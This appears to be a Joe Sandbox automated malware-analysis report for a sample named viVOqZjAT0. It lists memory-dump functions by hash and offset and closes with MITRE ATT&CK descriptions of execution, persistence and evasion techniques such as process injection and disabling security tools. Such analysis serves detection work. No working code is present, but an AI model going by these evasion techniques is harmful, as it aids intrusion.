Snapshot File: hcaresult_0_2_10f0000_viVOqZjAT0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94297d2269a03bb92d87cf5ef9e2583650282499a9100c40d0979e539c09a3c8
Instruction ID: 30d6dc2c7f9c2a5f42ab80c0e91b63f57a6c69b71904dfdd9665f6511c43897c
Opcode Fuzzy Hash: 94297d2269a03bb92d87cf5ef9e2583650282499a9100c40d0979e539c09a3c8
Instruction Fuzzy Hash: DCF0C271F012194F9F14AFACA8861EE7BB4DB88220B00003ED51AE3241EB3489478BD5

Function 010FE7D8 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4106935493.00000000010F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10f0000_viVOqZjAT0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78305f1d24368a16dc14938d73ecb7847dd32c0392949d08a0d4e3a8db16d0f4
Instruction ID: 6c890473dcb52461b33c9ade3b1a699da8f7e06b65d24aace00fc660752aaa21
Opcode Fuzzy Hash: 78305f1d24368a16dc14938d73ecb7847dd32c0392949d08a0d4e3a8db16d0f4
Instruction Fuzzy Hash: F8F0A931D002099F8F50FFACE8925DEBBF0EA85254B11407EDA58E7305E7309E078B95

Function 010FF052 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4106935493.00000000010F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10f0000_viVOqZjAT0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50383e75ec4dec8c591f8aaa074c20a4ead129f7b75d82cd85e867833144e899
Instruction ID: 021f59a4e17e33670ddbb9ec6cfef7cccb950e3ea53ffe8368128f3745c54cba
Opcode Fuzzy Hash: 50383e75ec4dec8c591f8aaa074c20a4ead129f7b75d82cd85e867833144e899
Instruction Fuzzy Hash: A7F02B32B001094BCF056B6CEC915DEBBE5EB84200B00413EEA05DB745EF309C0B87D1

Function 010F8800 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4106935493.00000000010F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10f0000_viVOqZjAT0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d832e8162b18b9e47d8e665b8fa8de25e1e653427ac7f1a45bdad89609b4e6c6
Instruction ID: 13407ca3a6493a18c6befb6540be74fb42b8410c3424c5a3b0dce94cb259de73
Opcode Fuzzy Hash: d832e8162b18b9e47d8e665b8fa8de25e1e653427ac7f1a45bdad89609b4e6c6
Instruction Fuzzy Hash: D8012831E0474ACBDF09CFE1C9405DEBBB2BF85304F24851AD914BB610EBB0A98ACB41

Function 010F1DFD Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4106935493.00000000010F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10f0000_viVOqZjAT0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a453162902496c1e618c1cc7d8847ced142deadb21add6950e13620d8790a51c
Instruction ID: 06a0a221233c1b32a16596d8303665d06b60b58f893f5d205058aa1455f821ca
Opcode Fuzzy Hash: a453162902496c1e618c1cc7d8847ced142deadb21add6950e13620d8790a51c
Instruction Fuzzy Hash: 0401A4349543459FCB02FBB8EDC159C7FB0EE42214B5146F5C0448BA7AEB709A4BCB82

Function 010F807E Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4106935493.00000000010F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10f0000_viVOqZjAT0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebf948c063287e592548d14ecff01a29114d9a277243ccba97d85b943e67a8ce
Instruction ID: 9ae698129d810b477e688e5b51b6631c63f1d52885ddb12099ed27b123921821
Opcode Fuzzy Hash: ebf948c063287e592548d14ecff01a29114d9a277243ccba97d85b943e67a8ce
Instruction Fuzzy Hash: E501AC34B4420A9FCB48EB60F8A95AE7772EBC43447508D16D91697794DF385C42CB85

Function 010F74B9 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4106935493.00000000010F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10f0000_viVOqZjAT0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e37fae6452a4d5e5b44fc3e57fc717275790e035f8dc0819e66f8b9410b8254
Instruction ID: 182bc87d9b79610f0e19a2128554f4822971bc9e6f6f9c180dfb3570f138a460
Opcode Fuzzy Hash: 1e37fae6452a4d5e5b44fc3e57fc717275790e035f8dc0819e66f8b9410b8254
Instruction Fuzzy Hash: 4BF062785011809FCB00EF38EDD2A997BA9EF45704B1141E5D009D73AAEA30AD079B91

Function 00D5D8A8 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4106180355.0000000000D5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d5d000_viVOqZjAT0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c6a7d30ab13c8962a1fbfc78d449292ca919b3ae97c67563d2fee53b21d37cf
Instruction ID: 849c9a54b3a998bcc2885bbc7582cb455bb64783b1d803572286fbaae8e079da
Opcode Fuzzy Hash: 5c6a7d30ab13c8962a1fbfc78d449292ca919b3ae97c67563d2fee53b21d37cf
Instruction Fuzzy Hash: 69F06271409344AAEB208A16DC84B66FFA8EF55735F18C45AED584B286C2799844CEB1

Function 010F7538 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4106935493.00000000010F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10f0000_viVOqZjAT0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d5eae7443f451284dce2b0a3e306a0da44009ad87bf63e01c83639985c548a6
Instruction ID: b87e3080058e245dbda56e4bf437e5f5efdb27088d5c7fd00b72c7a13c7b2d74
Opcode Fuzzy Hash: 0d5eae7443f451284dce2b0a3e306a0da44009ad87bf63e01c83639985c548a6
Instruction Fuzzy Hash: FBE022253062D20B8B46726C24610BE2B974EC212131900AFE885DB786CD149D0783A3

Function 010F7460 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4106935493.00000000010F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10f0000_viVOqZjAT0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bdfdb26d390f7c32057cc2f78f7ced3614b42ca29bf3ddee15563b47d33357a
Instruction ID: d08b2317589898af4a3a3ea919a06fa7b13d1f63667fee361dfbd104c0d06263
Opcode Fuzzy Hash: 7bdfdb26d390f7c32057cc2f78f7ced3614b42ca29bf3ddee15563b47d33357a
Instruction Fuzzy Hash: 3AF02B307105610FCB01677468512FD3BD9DBC655571040AFC989C7797DE198D0387C3

Function 010F74C8 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4106935493.00000000010F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10f0000_viVOqZjAT0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8ac1753face66155b5f38dee6c971a7806d7d2e7abb08086e2d9617aed97299
Instruction ID: 868aec2f48f501f96af42902eb016afa7a92093e24f12de94857cf7f0f844a55
Opcode Fuzzy Hash: c8ac1753face66155b5f38dee6c971a7806d7d2e7abb08086e2d9617aed97299
Instruction Fuzzy Hash: 43F05878600285AFCB04EF68ED81A89BBAAEF45704B1145E4D408973A9EB30AD069FD1

Function 010F1E10 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4106935493.00000000010F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10f0000_viVOqZjAT0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2272666f2d067a68675e7c45bd1c012d82fd263c1e503f4d9eb4148df457e656
Instruction ID: aa635590c0f9d980cebabf23e1e0e4e8fc25afa1b7b61dfa7502023a08422ecb
Opcode Fuzzy Hash: 2272666f2d067a68675e7c45bd1c012d82fd263c1e503f4d9eb4148df457e656
Instruction Fuzzy Hash: 3CF0D0345502059FCB01FBB8EDC095CBB75EF45244B5146A4C44887679EF70AA4B8B92

Function 010F80B1 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4106935493.00000000010F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10f0000_viVOqZjAT0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9b36a76bade07ffcd33b8fe4cd654e7e1be5ab2bf94ac263f9108e201feb154
Instruction ID: 1c28f6a793e861c4bfe0c5e85c79065e45c2d0b36a497db9c21c3b88f97ea67f
Opcode Fuzzy Hash: f9b36a76bade07ffcd33b8fe4cd654e7e1be5ab2bf94ac263f9108e201feb154
Instruction Fuzzy Hash: 89F01234B441098FCB44EB60F4595AE7772EBC4340B108916D81697784DF385C42CB81

Function 010FEF88 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4106935493.00000000010F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10f0000_viVOqZjAT0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94b072e320ca834c4e32173c584abbc1947a9c3a6f1fde9279f6a7f006821db0
Instruction ID: 77e566d291dd06ed02c6e9d3539f066b5d1deec73056b968c62b464a6c05fe45
Opcode Fuzzy Hash: 94b072e320ca834c4e32173c584abbc1947a9c3a6f1fde9279f6a7f006821db0
Instruction Fuzzy Hash: F8E08C23B004565BDB54856CE842599B6CA8789274B3E86B5FB68CBBA1FA25DC0643C0

Function 010F7548 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4106935493.00000000010F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10f0000_viVOqZjAT0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5c22604628651194a28617fabbfc06ffb23ab408fdf1b07b70eaafa79ad1f03
Instruction ID: 2b5a5d7e9e852a2dc09aa535b73d10018423ce25c87b0b6c5d05e3a72605db5d
Opcode Fuzzy Hash: a5c22604628651194a28617fabbfc06ffb23ab408fdf1b07b70eaafa79ad1f03
Instruction Fuzzy Hash: CBD02B25300157130958715E24514BF32CF8FC6470314002EF649E77C9CE64EC0303D2

Function 010F1718 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4106935493.00000000010F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10f0000_viVOqZjAT0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e93efc254e5ab33c040616ec8e966cf6553b1c1fac41a06fd2ebb60ba13c7df
Instruction ID: 8304fa911440e377a49f90f7cd117eb1b53888b7d15c167043442e4ef713586a
Opcode Fuzzy Hash: 3e93efc254e5ab33c040616ec8e966cf6553b1c1fac41a06fd2ebb60ba13c7df
Instruction Fuzzy Hash: 40E012363001145F8754967EF88885BB7DAEFCD66535548B9F10DC7325DDA5DC024790

Function 010F2EE0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4106935493.00000000010F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10f0000_viVOqZjAT0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26ed29de6f8ccff2a9adc92f4cb74b1d2f38ba6874a0557abacf5751c0c6fce4
Instruction ID: f80fdb4298d43588249e38a57a777774a516c87932bbc39b70922bc3474148ff
Opcode Fuzzy Hash: 26ed29de6f8ccff2a9adc92f4cb74b1d2f38ba6874a0557abacf5751c0c6fce4
Instruction Fuzzy Hash: 69E09270945248AFCB52DFB8E9424DDBBF4FF4530170041EBD404D7292D6350E068B91

Function 010F2EF0 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4106935493.00000000010F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10f0000_viVOqZjAT0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9225de279e80d46b29d2273e29449b9f1b4802603d5d670618cf121c38209df
Instruction ID: 19d2c66b8e6b982f2e65c757bf479de2500e6ea7f62c828a74d30b6aa714d782
Opcode Fuzzy Hash: b9225de279e80d46b29d2273e29449b9f1b4802603d5d670618cf121c38209df
Instruction Fuzzy Hash: 9DD05B3090110CEFCF40DFA8E94159DB7F9FB44201B5041E9D808D3344EA315F049B90

Function 010F80E4 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4106935493.00000000010F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10f0000_viVOqZjAT0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11f458af1631c31a3d2518919548d22691c7efb339848fd3b8c02992dd6fdaf0
Instruction ID: c0d2443ad61e4e5219241eb9bcff7d47c26d0d8157e6225cbd3d02adf1efac70
Opcode Fuzzy Hash: 11f458af1631c31a3d2518919548d22691c7efb339848fd3b8c02992dd6fdaf0
Instruction Fuzzy Hash: B3D05230B401188BCB00ABA8A8592EE3762EB84340F1084A2C91997288DF388D928B82

Function 010F8940 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4106935493.00000000010F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10f0000_viVOqZjAT0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d551da8707f231fdbf9c0198bd62343ecec9154a4664137069f60a1769c16f1
Instruction ID: 876754ad1277917da06a00e786b8cd9c7969fd1270cd28167ad07d47191c9771
Opcode Fuzzy Hash: 9d551da8707f231fdbf9c0198bd62343ecec9154a4664137069f60a1769c16f1
Instruction Fuzzy Hash: 63C012738C678007E60EE2604BD31E82F21F176A547CA00DBC394863B3EF6C86071223

Function 010F75E6 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4106935493.00000000010F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10f0000_viVOqZjAT0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b1a50890fdbc48e336b73d5f3c72b9cb1d4d49238e6edf6d20313ab474776f7
Instruction ID: 21550662233ccf134ee48190db3273d96a5830f8ddc65b1036449448854503fd
Opcode Fuzzy Hash: 1b1a50890fdbc48e336b73d5f3c72b9cb1d4d49238e6edf6d20313ab474776f7
Instruction Fuzzy Hash: F8C012343041058FD615FF68ECC45643795FBC0640701005CD80687198FE519C51DB93

Function 010F0986 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4106935493.00000000010F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10f0000_viVOqZjAT0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a64803c29eb6051bbf5409a81758bfee8a3398927a45300ba45e2581a91b8f0
Instruction ID: 23f178bf9bba2df911e60fcee5620d97ad424cc88c1d26b15ebe98de80f47ede
Opcode Fuzzy Hash: 8a64803c29eb6051bbf5409a81758bfee8a3398927a45300ba45e2581a91b8f0
Instruction Fuzzy Hash: D6C01230A18A89CAEB302BA4980E728AA67A780605F880069B2C64094EDEAE08448717

Function 010F09A2 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4106935493.00000000010F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10f0000_viVOqZjAT0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9735299d1f042c6b1bec7b1dc26034e2d93bc4d59a57048241e735bb17e85ce1
Instruction ID: fbce13787bb8b5f5969313e46dcb6274c2a01911ecbd7539059fcc661e366842
Opcode Fuzzy Hash: 9735299d1f042c6b1bec7b1dc26034e2d93bc4d59a57048241e735bb17e85ce1
Instruction Fuzzy Hash: FAC01230A08649CAEB202BA4980E328AA66AB80700F980068BAC64094EEEAE08044317

Non-executed Functions

Function 010F5778 Relevance: 1.5, Strings: 1, Instructions: 238COMMON

Download Yara Rule

Strings

\Vl, xrefs: 010F59C3

Memory Dump Source

Source File: 00000000.00000002.4106935493.00000000010F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10f0000_viVOqZjAT0.jbxd

Similarity

API ID:
String ID: \Vl
API String ID: 0-682378881
Opcode ID: 5f19cb038277efe98aa96b847ae8330df68ceb118b75dd04c527d31345299e1b
Instruction ID: ee3083e75242f5661b7a81d704be1c06ee07d9a9c395a4b452d8eaa7bb32c392
Opcode Fuzzy Hash: 5f19cb038277efe98aa96b847ae8330df68ceb118b75dd04c527d31345299e1b
Instruction Fuzzy Hash: 47916D70E003099FDF54CFA9C8867DDBBF2AF89314F14812DE585AB694EB349846CB81

Function 05715D60 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4116349766.0000000005710000.00000040.00000800.00020000.00000000.sdmp, Offset: 05710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5710000_viVOqZjAT0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c419039be327f64b64573084bc9753e3bbd3f31bf066aa47d9637c1f96acf76a
Instruction ID: 6ab976672e77f5ab255c6821778d8aecb13a837f9ad23606b1ea7a1c3b2eabf0
Opcode Fuzzy Hash: c419039be327f64b64573084bc9753e3bbd3f31bf066aa47d9637c1f96acf76a
Instruction Fuzzy Hash: 2512A5F05217458AF351DF66E94E18B3FA2BB4531EB90470AE2E12B2E5EFB4114ACF44

Function 0571C0F7 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4116349766.0000000005710000.00000040.00000800.00020000.00000000.sdmp, Offset: 05710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5710000_viVOqZjAT0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1deae7e40513750309c9f264c9a2563d950986cd0fe6292a760b2b2883f68c3
Instruction ID: 3a7b9efc7591bd52fd40370b54c2b97bb5e0ffaed1c19a0ee5664b40a0c45def
Opcode Fuzzy Hash: a1deae7e40513750309c9f264c9a2563d950986cd0fe6292a760b2b2883f68c3
Instruction Fuzzy Hash: 98D1193081075A8ACB01EBA8D990ADEF7B5FF95300F50879AE44937265EF706AC5CB91

Function 0571C108 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4116349766.0000000005710000.00000040.00000800.00020000.00000000.sdmp, Offset: 05710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5710000_viVOqZjAT0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c00395ff1fbe19e66ff2d66518d64a3335994c1f95d5123d4e44e01295d1a1c9
Instruction ID: aed54f51826a9e6338df082df4cbc2f1054983c676b641f2ea521c3327076cc8
Opcode Fuzzy Hash: c00395ff1fbe19e66ff2d66518d64a3335994c1f95d5123d4e44e01295d1a1c9
Instruction Fuzzy Hash: 3ED1F83081075A8ACB01EBA8D990ADEF7B5FF95300F50879AE44937265EF706AC9CB51

Function 057105FE Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4116349766.0000000005710000.00000040.00000800.00020000.00000000.sdmp, Offset: 05710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5710000_viVOqZjAT0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6afcfa840a98ffebf47f4d057fa4cfdffbc4925b91512dd89319ea7a16c8854d
Instruction ID: ed69d8b20e2c5e958bcd2af2d629765826f1adbe23d7ea8e98261467118b014a
Opcode Fuzzy Hash: 6afcfa840a98ffebf47f4d057fa4cfdffbc4925b91512dd89319ea7a16c8854d
Instruction Fuzzy Hash: AEA1CC34A00308DFDB44EF74D994AAF7B77EB88710F208459D80567799CB369D86CB91

Function 05710600 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4116349766.0000000005710000.00000040.00000800.00020000.00000000.sdmp, Offset: 05710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5710000_viVOqZjAT0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56a2dd7c0b6753e0e91d625a188804e1fb5bc7d7d9e5049d757e152ec360b9ab
Instruction ID: 98b4f7c9c34d12af1b24a352b136cff773c50f8020653d6317e7877139aabaab
Opcode Fuzzy Hash: 56a2dd7c0b6753e0e91d625a188804e1fb5bc7d7d9e5049d757e152ec360b9ab
Instruction Fuzzy Hash: 3AA1CC34A00308DFDB44EF74D994AAF7777EB88710F208459D80567799CB369D86CBA1

Function 05715D52 Relevance: .2, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4116349766.0000000005710000.00000040.00000800.00020000.00000000.sdmp, Offset: 05710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5710000_viVOqZjAT0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 529e4a1cfd9224c86aa0e806909e91587361926373912d87726759f70e5fa852
Instruction ID: fbab0081ee4a5d57edf5ce6e89bd6015c9ecc6bd0354fca11ca0e707bfbe4693
Opcode Fuzzy Hash: 529e4a1cfd9224c86aa0e806909e91587361926373912d87726759f70e5fa852
Instruction Fuzzy Hash: 5DC109F05217458AF711DF66E84A18B7FB2BB8531EF54470AE2A16B2E1EFB4104ACF44

Function 010F9750 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4106935493.00000000010F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10f0000_viVOqZjAT0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50565e0887270c4cf20ad40a2cd2a8146ea3defa71b066b390f48ab78bbe651b
Instruction ID: f3167477db7679b6c9aa79a2ff3cf1f1f5fd98a2a60fcb6498d2f6cb42cde1e3
Opcode Fuzzy Hash: 50565e0887270c4cf20ad40a2cd2a8146ea3defa71b066b390f48ab78bbe651b
Instruction Fuzzy Hash: 81315F79D04A449FD718CF6EB84538ABBE7ABC9304F58C179C484C725DEBFA05068B91

Function 010F9760 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4106935493.00000000010F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10f0000_viVOqZjAT0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efd4d5688026da603223a92e1183e5cf5ae1dcb7b08fae608c8eee38f1d37933
Instruction ID: a480516b3115b855847cf5e1c86f3f833a9d852ab98780ab6fe6810b297d9005
Opcode Fuzzy Hash: efd4d5688026da603223a92e1183e5cf5ae1dcb7b08fae608c8eee38f1d37933
Instruction Fuzzy Hash: AA313B78D04A449FD718DF6FE80474ABBE7ABC9304F58D169C484CB25DEBFA05058B91

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

